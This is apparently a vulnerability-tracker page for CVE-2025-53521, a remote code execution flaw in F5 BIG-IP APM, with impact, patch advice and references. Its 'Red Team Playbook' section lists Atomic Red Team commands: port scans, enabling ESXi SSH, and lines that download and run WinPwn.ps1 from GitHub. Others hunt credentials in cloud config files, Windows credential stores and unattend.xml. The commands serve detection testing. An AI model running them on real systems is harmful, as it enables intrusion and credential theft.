CVE-2025-53521
Overview
This vulnerability is a remote code execution flaw arising from improper handling of specific malicious traffic within the Access Policy Manager (APM) feature of F5 BIG-IP virtual servers. The root cause lies in the APM access policy processing logic failing to adequately validate or sanitize crafted input, enabling execution of arbitrary code. The affected component is the BIG-IP APM access policy configured on virtual servers.
Vulnerability Description
When a BIG-IP APM access policy is configured on a virtual server, specific malicious traffic can lead to Remote Code Execution (RCE). Note: Software versions which have reached End of Technical Support (EoTS) are not evaluated.
Impact
An unauthenticated attacker with network access to a BIG-IP virtual server configured with APM can execute arbitrary code remotely, potentially gaining full control over the affected system. This enables compromise of confidentiality, integrity, and availability of services hosted on the device. The CVSS vector (AV:N/AC:L/PR:N/UI:N) indicates no privileges or user interaction are required, increasing the attack surface and risk of exploitation in exposed environments.
Solution
F5 Networks has released security updates addressing this vulnerability as detailed in their advisory K000156741. Users should apply the vendor-provided patches for the BIG-IP Access Policy Manager component corresponding to their product version. The advisory provides step-by-step patch installation instructions and recommends verifying virtual server configurations to ensure no unsupported versions are in use. No alternative workarounds are specified beyond applying the official fixes.
EPSS vs KEV Prediction — Evolution (30 days)
Full Analysis
The vulnerability associated with the BIG-IP APM access policy presents a critical risk due to its potential for Remote Code Execution (RCE). This flaw arises when specific malicious traffic is processed by a virtual server configured with the access policy. The underlying issue stems from improper validation of input, allowing an attacker to craft requests that exploit this weakness. Once successfully executed, the attacker can gain unauthorized access to the system, potentially leading to complete control over the affected server. Given the nature of RCE vulnerabilities, the implications can be severe, as they often enable attackers to execute arbitrary code, install malware, or exfiltrate sensitive data.
Attack vectors for this vulnerability are particularly concerning due to the ease with which they can be exploited. An attacker could leverage social engineering tactics to trick users into sending crafted requests or directly target the virtual server with automated tools designed to probe for weaknesses. Exploitation scenarios may include sending specially crafted HTTP requests that bypass security controls, allowing the attacker to execute malicious scripts or commands. The ability to execute code remotely means that the attacker does not need physical access to the server, significantly increasing the risk of widespread exploitation across networks that utilize the affected product.
The real-world impact of this vulnerability can be profound, especially for organizations that rely on the BIG-IP APM for secure access management. Successful exploitation could lead to data breaches, unauthorized access to sensitive information, and significant operational disruptions. The business risks associated with such an incident include financial losses, reputational damage, and potential legal ramifications due to non-compliance with data protection regulations. Furthermore, the high CVSS score of 9.8 indicates that this vulnerability poses a critical threat, necessitating immediate attention from security teams to mitigate potential exploitation.
To detect and mitigate this vulnerability, organizations should implement a multi-layered security approach. Regularly updating and patching the BIG-IP APM to the latest supported versions is essential, as this ensures that known vulnerabilities are addressed. Additionally, employing intrusion detection systems (IDS) can help identify and alert on malicious traffic patterns indicative of exploitation attempts. Network segmentation and strict access controls can further limit the potential impact of an attack, ensuring that even if exploitation occurs, the attacker’s ability to move laterally within the network is restricted. Organizations should also conduct regular security assessments and penetration testing to identify potential weaknesses in their configurations and policies.
In conclusion, the vulnerability within the BIG-IP APM access policy represents a significant threat to organizations leveraging this technology. The potential for Remote Code Execution underscores the need for robust security practices, including timely updates, vigilant monitoring, and proactive risk management strategies. As cyber threats continue to evolve, maintaining a strong security posture is essential to protect sensitive data and ensure the integrity of critical systems. Organizations must remain vigilant and responsive to emerging vulnerabilities to safeguard their assets effectively.
Affected Products (4)
| Vendor | Product | Version | CPE | |
|---|---|---|---|---|
|
|
F5 | Big-Ip Access Policy Manager | All |
cpe:2.3:a:f5:big-ip_access_policy_manager:*:*:*:*:*:*:*:*
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F5 | Big-Ip Access Policy Manager | All |
cpe:2.3:a:f5:big-ip_access_policy_manager:*:*:*:*:*:*:*:*
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F5 | Big-Ip Access Policy Manager | All |
cpe:2.3:a:f5:big-ip_access_policy_manager:*:*:*:*:*:*:*:*
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F5 | Big-Ip Access Policy Manager | All |
cpe:2.3:a:f5:big-ip_access_policy_manager:*:*:*:*:*:*:*:*
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Exploits
No exploits found for this CVE.
Threat Feed
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CISA confirmed active exploitation — added to Known Exploited Vulnerabilities catalog
Likely Kill Chain
Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.
Kill chain derived from the ML classifier.
Attack Vectors ML
MITRE ATT&CK Techniques (6)
The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.
The techniques for this CVE don't apply to this operating system. Switch OS above.
CAPEC Attack Patterns
No CAPEC pattern mapped to this CVE.
Red Team Playbook
33 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.
AtomicRedTeam has no published tests for this CVE's techniques on this OS. Switch OS above to see other options.
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
docker build -t t1046 $PathToAtomicsFolder/T1046/src/
docker run --name t1046_container --rm -d -t t1046
docker exec t1046_container /scan.sh
for port in {1..65535}; do (2>/dev/null echo >/dev/tcp/#{host}/$port) && echo port $port is open ; done
nmap #{host_to_scan}
sudo nmap -sS #{network_range} -p #{port}
telnet #{host} #{port}
nc -nv #{host} #{port}
nmap -Pn -sV -p #{port_range} #{host}
python "#{filename}" -i #{host_ip}
$ipAddr = "#{ip_address}"
if ($ipAddr -like "*,*") {
$ip_list = $ipAddr -split ","
$ip_list = $ip_list.ForEach({ $_.Trim() })
Write-Host "[i] IP Address List: $ip_list"
$ports = #{port_list}
foreach ($ip in $ip_list) {
foreach ($port in $ports) {
Write-Host "[i] Establishing connection to: $ip : $port"
try {
$tcp = New-Object Net.Sockets.TcpClient
$tcp.ConnectAsync($ip, $port).Wait(#{timeout_ms}) | Out-Null
} catch {}
if ($tcp.Connected) {
$tcp.Close()
Write-Host "Port $port is open on $ip"
}
}
}
} elseif ($ipAddr -notlike "*,*") {
if ($ipAddr -eq "") {
# Assumes the "primary" interface is shown at the top
$interface = Get-NetIPInterface -AddressFamily IPv4 -ConnectionState Connected | Select-Object -ExpandProperty InterfaceAlias -First 1
Write-Host "[i] Using Interface $interface"
$ipAddr = Get-NetIPAddress -AddressFamily IPv4 -InterfaceAlias $interface | Select-Object -ExpandProperty IPAddress
}
Write-Host "[i] Base IP-Address for Subnet: $ipAddr"
$subnetSubstring = $ipAddr.Substring(0, $ipAddr.LastIndexOf('.') + 1)
# Always assumes /24 subnet
Write-Host "[i] Assuming /24 subnet. scanning $subnetSubstring'1' to $subnetSubstring'254'"
$ports = #{port_list}
$subnetIPs = 1..254 | ForEach-Object { "$subnetSubstring$_" }
foreach ($ip in $subnetIPs) {
foreach ($port in $ports) {
try {
$tcp = New-Object Net.Sockets.TcpClient
$tcp.ConnectAsync($ip, $port).Wait(#{timeout_ms}) | Out-Null
} catch {}
if ($tcp.Connected) {
$tcp.Close()
Write-Host "Port $port is open on $ip"
}
}
}
} else {
Write-Host "[Error] Invalid Inputs"
exit 1
}
Get-Service -Name "Remote Desktop Services", "Remote Desktop Configuration"
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
MS17-10 -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
bluekeep -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
fruit -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
spoolvulnscan -noninteractive -consoleoutput
Start-Process -FilePath "#{autoit_path}" -ArgumentList "#{script_path}"
echo "Creating %systemroot%\wpbbin.exe"
New-Item -ItemType File -Path "$env:SystemRoot\System32\wpbbin.exe"
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
python2 laZagne.py all
grep -ri password #{file_path}
exit 0
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
find #{file_path}/.aws -name "credentials" -type f 2>/dev/null
find #{file_path}/.azure -name "msal_token_cache.json" -o -name "accessTokens.json" -type f 2>/dev/null
find #{file_path}/.config/gcloud -name "credentials.db" -o -name "access_tokens.db" -type f 2>/dev/null
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
for file in $(find #{file_path} -type f -name .netrc 2> /dev/null);do echo $file ; cat $file ; done
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput
Detection & Response Rules
No detection or response rules found for this CVE.
No news articles found for this CVE.
References (3)
| Title | Tags | URL |
|---|---|---|
| nvd.nist.gov |
NVD
reference
|
https://nvd.nist.gov/vuln/detail/CVE-2025-53521 |
| my.f5.com |
GitHub CVE
vendor-advisory
|
https://my.f5.com/manage/s/article/K000156741 |
| cisa.gov |
NVD API
US Government Resource
|
https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2025-53521 |